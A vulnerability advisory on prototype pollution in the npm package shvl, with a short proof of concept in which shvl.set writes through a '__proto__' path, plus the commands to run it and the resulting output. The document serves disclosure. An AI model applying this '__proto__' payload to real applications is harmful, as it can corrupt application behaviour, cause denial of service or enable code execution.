Lucene search

K
huntrGavin1051-NPM-SHVL
HistoryJan 06, 2021 - 12:00 a.m.

Prototype Pollution in robinvdvleuten/shvl

2021-01-0600:00:00
gavin105
www.huntr.dev
16
shvl
prototype pollution
sensitive information disclosure
denial of service
remote code execution
npm package
proof of concept
security vulnerability

EPSS

0.012

Percentile

85.8%

Description

shvl is vulnerable to Prototype Pollution.
This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var shvl = require("shvl")
let obj = {}
console.log("Before : " + {}.polluted);
shvl.set(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

  1. Execute the following commands in another terminal:
npm i shvl # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

EPSS

0.012

Percentile

85.8%